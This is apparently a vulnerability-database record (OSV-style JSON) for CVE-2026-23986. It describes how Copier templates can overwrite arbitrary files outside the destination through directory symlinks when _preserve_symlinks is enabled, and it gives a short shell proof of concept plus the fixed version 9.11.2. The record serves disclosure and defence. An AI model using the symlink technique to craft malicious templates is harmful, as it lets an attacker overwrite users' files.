{"id":"CVE-2026-23986","aliases":["GHSA-4fqp-r85r-hxqh","PYSEC-2026-1272"],"url":"https://o3.security/vulnerability/CVE-2026-23986","summary":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true","details":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n> [!NOTE]\n>\n> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" > sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" > \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" > copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -> ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a","published":"2026-01-21T22:20:37.720Z","modified":"2026-08-12T03:51:39.490734311Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"copier","fixedVersion":"9.11.2"}],"fix":{"url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6","label":"copier-org/copier@b3a7b37"},"references":[{"type":"WEB","url":"https://github.com/copier-org/copier/releases/tag/v9.11.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23986.json"},{"type":"ADVISORY","url":"https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23986"},{"type":"FIX","url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"},{"type":"PACKAGE","url":"https://github.com/copier-org/copier"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:39.490734311Z"}}